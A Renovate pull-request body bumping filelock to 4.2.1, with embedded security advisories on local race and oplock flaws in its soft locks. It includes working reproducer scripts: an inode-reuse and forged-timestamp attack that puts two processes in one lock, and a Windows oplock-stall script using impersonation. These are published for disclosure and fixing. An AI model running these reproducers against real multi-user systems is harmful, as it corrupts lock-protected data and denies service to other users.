Our verification: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head it prints OK: all 20 victim runs exit 0 with no error and the target stays 1000 0o600 22 bytes with its original content. The independent review also ran the sticky-directory -wal variant (a 0600 database owned by victim in a 1777 directory, other user plants <db>-wal). 4.2.0 raises OperationalError: disk I/O error; the PR head takes read and write locks with the file still present.
Impact
Another local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create <file>-journal beside it (the lock user's own 0600 files in /tmp qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside write_lock() stops excluding the lock user's other processes from read_lock(), and the holder can die from a SIGBUS that arrives in release().
It is not reachable for a database the lock user owns in /tmp with fs.protected_regular 1 or 2. There only the planted -wal denial of service remains: every acquire raises an undocumented sqlite3.OperationalError that Timeout and OSError handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at <database> (deleted). Windows does not take this path.
Workarounds
Keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory. The lock creates its database 0600, and leaving it that way keeps other accounts from supplying its content.
For a lock in a sticky directory keep fs.protected_regular at 1 or 2 and fs.protected_hardlinks=1 (distribution defaults). Treat a sudden sqlite3.OperationalError: disk I/O error on every acquire as a foreign <db>-wal beside the database that the file's owner or root has to remove.
This PR contains the following updates:
| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://github.com/tox-dev/py-filelock) | `4.1.0` → `4.2.1` |  |  |
---
### filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse
[CVE-2026-112906](https://nvd.nist.gov/vuln/detail/CVE-2026-112906) / [GHSA-2g95-wg33-c5x2](https://github.com/advisories/GHSA-2g95-wg33-c5x2)
<details>
<summary>More information</summary>
#### Details
`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at `<path>`, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.
Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.
Two of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-RKC48J5B`).
##### Severity
**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**
`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.
Classification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.
##### Scope and preconditions
- The other user can create files in the lock's directory; a root-owned `1777` directory is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. In the sticky directory its `unlink`, `rename`, `open(..., "w")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock.
- The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either.
- File timestamps come from a coarse clock whose future values the other user can compute (`CLOCK_REALTIME_COARSE`, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value).
- At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, `lease_duration`).
- No symbolic link, hard link or FIFO takes part, so the `fs.protected_*` sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. `StrictSoftFileLock` keys its watch the same way but only raises `SoftFileLockProtocolError`, so it breaks no lock there.
filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
##### Affected code
At the scanned commit b831496, the watch is [`SoftFileLock._marker_unchanged_for`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L125-L132), with its caller in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123). The [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) paths hand an unparsable marker to the same code. The re-check in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118) compares the values the contender just read.
##### Introduced
0f7c4d3794dc ("fix(soft): expire leases on the contender's clock", #​796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.
##### Mechanism
`SoftFileLock._acquire` creates the marker with `O_CREAT | O_EXCL` (create the file, fail if it exists) and only then writes the holder record. In between it calls `fstat` and `uname`, stats `/proc/self/ns/pid` and reads `/proc/<pid>/stat`, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. `_try_break_stale_lock` reads the marker, finds no holder, and calls `break_lock_file(lock_file, mtime, ino)` only if `_marker_unchanged_for(mtime, ino)` reaches `MALFORMED_LOCK_AGE_THRESHOLD` (2.0 s). That function keeps `self._marker_seen = ((mtime, ino), first seen)` across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.
Neither half of the pair belongs to one file. A file's owner sets its mtime to any value with `utime`, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.
1. While the lock is free, the other user creates an empty file at the lock path (inode `I`) and sets its mtime to `T`, a tick of the coarse clock about 2.2 s in the future.
2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records `_marker_seen = ((T, I), first seen)`. After 2 s each poll calls `break_lock_file`, whose `rename` fails with `EPERM` (operation not permitted; seen with `strace`): the directory is sticky and the file belongs to the other user. `suppress(OSError, ...)` swallows the error, the file stays, and nothing resets `_marker_seen`.
3. When the coarse clock reaches `T`, the other user unlinks its file. Inode `I` is free.
4. Process F of the lock user polls during tick `T`. Its `O_EXCL` create succeeds, and its marker is inode `I` with mtime `T`.
5. Process S polls before F has written its record. It reads an empty file with pair `(T, I)`, `_marker_unchanged_for` returns the 2.2 s that S spent watching the other user's file, and S calls `break_lock_file(lock_file, T, I)`.
6. `break_lock_file` compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.
7. F writes its record into the unlinked inode and returns from `acquire()`. The path is empty, so the next contender to poll creates a marker and returns from `acquire()` too. F's release finds another inode at the path (`_unlink_open_marker`) and leaves it. Neither holder learns anything.
Step 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick `T`, and a waiter broke 7 of those 13.
`MarkerSoftFileLock` and `SoftFileLease` hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: `if owner.mode == "lease" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...)`. `_marker_seen` is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair `(T, I)` has gone unrefreshed for `lease_duration`, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using `SoftFileLease(path, lease_duration=2)` and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's `on_compromise` (the callback that tells a holder it lost the lock) reported `owner-changed` 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.
##### Reproduction
The scanner's reproducer for finding `ANT-2026-RKC48J5B`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.
**`repro`**
```python
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import time
LOCK_DIR = "/tmp/locks"
LOCK_PATH = "/tmp/locks/app.lock"
HOLDS_LOG = "/tmp/holds.log"
def start_victims():
# a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it
shutil.rmtree(LOCK_DIR, ignore_errors=True)
os.mkdir(LOCK_DIR)
os.chmod(LOCK_DIR, 0o1777)
victim = [sys.executable, "/tmp/repro.d/victim.py", LOCK_PATH]
with open(HOLDS_LOG, "w") as holds_log:
return [
subprocess.Popen(victim, stdout=holds_log, user="victim", group="victim", extra_groups=[])
for _ in range(10)
]
def holds_entered_after(moment):
holds = []
for line in open(HOLDS_LOG):
fields = dict(field.split("=") for field in line.split())
hold = {"entered": float(fields["entered"]), "exited": float(fields["exited"]), "line": line.strip()}
if hold["entered"] > moment:
holds.append(hold)
return sorted(holds, key=lambda hold: hold["entered"])
def attack_until_overlap(phase, date_offset_s, max_attempts):
victims = start_victims()
attacker = [sys.executable, "/tmp/repro.d/attacker.py", LOCK_PATH, str(date_offset_s)]
for attempt in range(1, max_attempts + 1):
run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True,
user="attacker", group="attacker", extra_groups=[])
print(f"{phase} attempt {attempt}: {run.stdout.strip()}", flush=True)
unlinked_at = float(run.stdout.split("unlinked_at=")[1])
time.sleep(0.4) # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now
# A hold entered within 1 ms of the unlink can also come from a separate flaw in break_lock_file (see the
# report), so those are left out. time.monotonic() is one clock for every process on the machine.
holds = holds_entered_after(unlinked_at + 0.001)
overlaps = [(first, second) for first, second in zip(holds, holds[1:])
if second["entered"] < first["exited"]]
if overlaps:
break
for victim in victims:
victim.kill()
victim.wait()
return overlaps
##### control: the attacker's file is dated an hour after the tick in which it is unlinked
control = attack_until_overlap("CONTROL", date_offset_s=3600, max_attempts=20)
##### attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick gets
observed = attack_until_overlap("OBSERVED", date_offset_s=0, max_attempts=250)
##### check: no two victims may ever be inside the lock at once
for phase, overlaps in [("CONTROL", control), ("OBSERVED", observed)]:
print(f"{phase}: {len(overlaps)} time(s) two victims inside the lock at once")
for first, second in overlaps:
print(f"{phase}: {first['line']}")
print(f"{phase}: {second['line']}")
print("BUG" if observed and not control else "OK")
```
**`repro.d/attacker.py`**
```python
#!/usr/bin/env python3
import os
import random
import sys
import time
lock_path, date_offset_s = sys.argv[1], int(sys.argv[2])
CLOCK_REALTIME_COARSE = 5 # <linux/time.h>; the kernel stamps new files from it, and it moves once per timer tick
tick_ns = round(time.clock_getres(CLOCK_REALTIME_COARSE) * 1e9)
##### take the lock path the moment it is free, like any contender
while True:
try:
fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)
break
except FileExistsError:
time.sleep(0.002)
##### Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random
##### part makes some attempts free the path just before one of their polls.
park_s = random.uniform(2.2, 2.25)
release_tick = time.clock_gettime_ns(CLOCK_REALTIME_COARSE) + round(park_s * 1e9 / tick_ns) * tick_ns
mtime_ns = release_tick + date_offset_s * 10**9
os.utime(fd, ns=(mtime_ns, mtime_ns))
inode = os.fstat(fd).st_ino
os.close(fd)
time.sleep(park_s - 0.05)
while time.clock_gettime_ns(CLOCK_REALTIME_COARSE) < release_tick:
pass
os.unlink(lock_path) # a marker created before the next tick gets mtime == release_tick and, on ext4, this inode
unlinked_at = time.monotonic()
time.sleep(0.1) # exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarer
print(f"inode={inode} mtime_ns={mtime_ns} unlinked_in_tick={release_tick} unlinked_at={unlinked_at}")
```
**`repro.d/victim.py`**
```python
#!/usr/bin/env python3
import os
import sys
import time
from filelock import SoftFileLock
lock = SoftFileLock(sys.argv[1])
while True:
with lock:
entered = time.monotonic()
time.sleep(0.3) # work on whatever the lock protects
print(f"pid={os.getpid()} entered={entered} exited={time.monotonic()} is_locked={lock.is_locked}", flush=True)
time.sleep(0.05)
```
##### Attack sequence
```mermaid
sequenceDiagram
participant X as other local user
participant P as lock path (sticky dir, ext4, 4 ms clock ticks)
participant S as process S of the lock user (waiting)
participant F as process F of the lock user
X->>P: create empty file, inode I, utime to future tick T
S->>P: poll: empty file, key (T, I), watch starts
Note over S: after 2 s each poll calls break_lock_file, rename gets EPERM, error swallowed, watch keeps counting
rect rgb(255, 214, 214)
X->>P: at tick T: unlink own file, I is free
F->>P: O_EXCL create in tick T: inode I, mtime T, record not yet written
S->>P: poll: empty file, key (T, I) seen for 2.2 s: break_lock_file(T, I) renames and unlinks F's marker
F->>P: writes record into the unlinked inode, acquire() returns
Note over S,F: the path is empty, the next contender creates a marker: two holders, no error
end
```
##### Evidence
The scanner's reproducer runs ten copies of a default-option `SoftFileLock` program (0.3 s of work per hold, 50 ms between holds) as user `victim` in a root-owned `1777` directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user `attacker` waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when `CLOCK_REALTIME_COARSE` reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.
In four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two `victim` processes overlapping in time with `is_locked=True`, for example `pid=217 entered=241.295272609 exited=241.59542327` and `pid=216 entered=241.295518489 exited=241.595641553`. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.
Our review ran the reproducer over a loop-mounted ext4 `/tmp` (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, `--cpus 2`). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #​843, so our run gives no evidence either way. The review confirmed that `utime` cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.
##### Impact
A local user who can create a file in a soft lock's directory, a sticky directory such as `/tmp` included, gets two processes of another user to hold the same `SoftFileLock` at once (`MarkerSoftFileLock` too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its `unlink`, `rename`, `open(..., "w")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock. For `SoftFileLease` the effect is a live, refreshed claim taken after milliseconds instead of after `lease_duration` without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.
##### Workarounds
Keep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. Raise `poll_interval` so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.
##### Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/843
##### Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-RKC48J5B`, scanned commit b831496b0273)
- 2026-10-16 00:46 UTC: draft advisory created
- 2026-10-16 01:42 UTC: fix PR #​843 opened
#### Severity
- CVSS Score: 4.7 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N`
#### References
- [https://github.com/tox-dev/filelock/security/advisories/GHSA-2g95-wg33-c5x2](https://github.com/tox-dev/filelock/security/advisories/GHSA-2g95-wg33-c5x2)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112906](https://nvd.nist.gov/vuln/detail/CVE-2026-112906)
- [https://github.com/tox-dev/filelock/pull/843](https://github.com/tox-dev/filelock/pull/843)
- [https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b](https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b)
- [https://github.com/tox-dev/filelock](https://github.com/tox-dev/filelock)
- [https://github.com/tox-dev/filelock/releases/tag/4.2.1](https://github.com/tox-dev/filelock/releases/tag/4.2.1)
This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-2g95-wg33-c5x2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break
[CVE-2026-112907](https://nvd.nist.gov/vuln/detail/CVE-2026-112907) / [GHSA-567q-5qvw-pf92](https://github.com/advisories/GHSA-567q-5qvw-pf92)
<details>
<summary>More information</summary>
#### Details
On Windows the soft locks (`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async forms, and a `FileLock` that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each `acquire()` attempt that finds a marker opens it with `os.open` to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.
Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every `acquire()` by the user running the lock (below: the lock user) then waits inside the open, past its `timeout`, `blocking=False` and `cancel_check`, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.
##### Severity
**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 2.5 (Low).**
`AV:L` (local): the other account needs a logon on the same host. `AC:H` (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its `lifetime`. `PR:L` (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` and `I:N`: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. `A:L` (partial availability impact): one thread, or the event loop with `run_in_executor=False`, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.
Classification from the review: **security, conditional** on an unheld marker that another account can open.
##### Scope and preconditions
- Platform and classes: Windows only. `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, `AsyncSoftFileLock` and the other async soft locks, and `FileLock` after its `ENOSYS` fallback to a soft lock. `WindowsFileLock` opens its lock file on a separate code path that this advisory does not cover.
- Marker access: the soft locks create the marker with `os.open`, which on Windows applies no more of `mode` than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.
- Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose `lifetime` has passed. While the holder keeps its handle, the request fails.
- Holder behavior: the other account requests the oplock through an overlapped `DeviceIoControl` and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.
- What the lock user sees: `SoftFileLock.acquire(timeout=1)` returned `Timeout` after 10.02 s with the second account's handle. In the same-account probe `os.open` with `O_RDONLY` was still running after 15 s and returned once the holder closed. The retry loop consults `timeout`, `blocking=False` and `cancel_check` between attempts only. With `AsyncSoftFileLock(run_in_executor=False)` the event loop waits.
- Stale break: `break_lock_file` renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.
- Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.
##### Affected code
Scanned commit `b831496b0273`: the [`os.open` in `_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L323) ([function](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L335)), called from [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) on every attempt that finds a marker, and from [`_unprobeable_holder`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L137), [`pid`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L164) and [`is_lock_held_by_us`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L179). [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L84-L122) renames at L116 and unlinks at L118 and L122, by path. [`_poll_until_acquired`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1378-L1408) and [`_check_give_up`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1590-L1608) test the deadline, `blocking` and `cancel_check` only between attempts.
##### Introduced
[e35c3af](https://github.com/tox-dev/filelock/commit/e35c3af) "feat(soft): detect and break stale locks" ([#​476](https://github.com/tox-dev/filelock/pull/476), 2026-02-13), first tag 3.22.0 (verified with `git tag --contains`). Before it a soft lock created its marker with `O_CREAT | O_EXCL` and never opened an existing one. #​476 read the marker on Windows through `CreateFileW` and broke a stale one with `Path.rename` and `Path.unlink`. These wait for an oplock as `os.open` does, because none of them passes `FILE_COMPLETE_IF_OPLOCKED`, an `NtCreateFile` option that returns instead of waiting. The read became the `os.open` in `_read_lock_file` with [bfbfa76](https://github.com/tox-dev/filelock/commit/bfbfa76) ([#​548](https://github.com/tox-dev/filelock/pull/548), 3.29.1) and the break moved into `break_lock_file` with [d244c6d](https://github.com/tox-dev/filelock/commit/d244c6d) ([#​551](https://github.com/tox-dev/filelock/pull/551), 3.29.2); the by-path calls stayed.
##### Mechanism
Each attempt of `_acquire` first calls `os.open(path, O_WRONLY | O_CREAT | O_EXCL)`. On an existing marker that fails with `EEXIST` (or `EACCES` on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. `_acquire` then calls `_try_break_stale_lock`, which calls `_read_lock_file`: `os.lstat`, then `os.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK)`. On Windows `O_NOFOLLOW` and `O_NONBLOCK` do not exist (the code reads them with `getattr(os, ..., 0)`), and `os.open` calls `CreateFileW`. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. `_check_give_up` tests the deadline after the attempt returns, so the wait overruns `timeout`, `blocking=False` and `cancel_check` by its length. Once the open returns, the attempt ends and `_check_give_up` raises `Timeout`, because the deadline has passed.
A marker whose holder is gone takes the second path. `break_lock_file` renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows `os.rename` and `os.unlink` still running after 15 s and returning once the holder closed. The `lifetime` break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two `acquire()` calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.
##### Reproduction
The review's reproducers, quoted as received. `oplock_vm.py` section `[2]` is this finding; sections `[1a]` and `[1b]` belong to the `release()` advisory. `oplock_semantics_vm.py` is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #​835 at `3e4c5ef`, where `_read_lock_file` and `break_lock_file` are the same code as at `b831496b0273` apart from import changes. The second account `fltester` is a member of `Users`; the directory grants it `(OI)(CI)(M)`.
**`oplock_vm.py`**
```python
"""
Windows oplock checks beyond the lock-file open PR #​835 changes: release() and the soft locks' marker read.
Run on the VM (PowerShell, from the synced worktree, with the fltester account present):
C:\\venvs\\rev4F\\Scripts\\python.exe oplock_vm.py fltester '<password>' C:\\tmp\\rev4F-oplock
[1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete.
WindowsFileLock._release closes its handle and then unlinks by path; an oplock granted in between makes the
DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is;
[1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it.
[2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the
marker through os.open, which waits for the acknowledgement, past timeout=1.
A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end.
"""
from __future__ import annotations
import ctypes
import os
import subprocess
import sys
import threading
import time
from ctypes import wintypes
from filelock import FileLock, SoftFileLock, Timeout
user, password, base = sys.argv[1], sys.argv[2], sys.argv[3]
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
os.makedirs(base, exist_ok=True)
subprocess.run([icacls, base, "/grant", f"{user}:(OI)(CI)(M)"], check=True, capture_output=True)
advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
advapi32.LogonUserW.argtypes = [
wintypes.LPCWSTR,
wintypes.LPCWSTR,
wintypes.LPCWSTR,
wintypes.DWORD,
wintypes.DWORD,
ctypes.POINTER(wintypes.HANDLE),
]
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
wintypes.LPCWSTR,
wintypes.DWORD,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
wintypes.DWORD,
wintypes.HANDLE,
]
class Overlapped(ctypes.Structure):
_fields_ = (
("Internal", ctypes.c_void_p),
("InternalHigh", ctypes.c_void_p),
("Offset", wintypes.DWORD),
("OffsetHigh", wintypes.DWORD),
("hEvent", wintypes.HANDLE),
)
kernel32.DeviceIoControl.argtypes = [
wintypes.HANDLE,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
ctypes.c_void_p,
ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
GENERIC_READ = 0x80000000
SHARE_ALL = 0x7
OPEN_EXISTING = 3
FLAG_OVERLAPPED = 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
FSCTL_REQUEST_OPLOCK_LEVEL_1 = 0x00090000
ERROR_IO_PENDING = 997
hold = threading.Event()
real_unlink = os.unlink
def impersonate() -> None:
token = wintypes.HANDLE()
if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
raise ctypes.WinError(ctypes.get_last_error())
if not advapi32.ImpersonateLoggedOnUser(token):
raise ctypes.WinError(ctypes.get_last_error())
def request_level1(path: str) -> tuple[int, Overlapped] | None:
handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
if handle == INVALID_HANDLE:
return None
overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
if (
not kernel32.DeviceIoControl(handle, FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, None, 0, None, ctypes.byref(overlapped))
and ctypes.get_last_error() == ERROR_IO_PENDING
):
